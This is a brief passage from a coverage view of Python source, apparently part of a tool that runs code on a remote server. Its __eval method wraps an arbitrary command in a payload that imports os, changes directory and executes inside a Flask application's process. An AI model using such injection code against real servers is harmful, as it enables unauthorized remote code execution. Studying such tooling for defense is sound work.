(self, command: str)
| 28 | @throw CommandException if there is a connection error. |
| 29 | """ |
| 30 | def __eval(self, command: str): |
| 31 | res = self._Base__send_message( |
| 32 | f"global r;r={self.flask_object}.make_response(" |
| 33 | f"{self.flask_object},'');" |
| 34 | f"__import__('os').chdir('{self.directory}');\n" |
| 35 | f"{command}\n" |
| 36 | ) |
| 37 | return res |
| 38 | |
| 39 | """ |
| 40 | @brief Check if a file exists on the server. |
no test coverage detected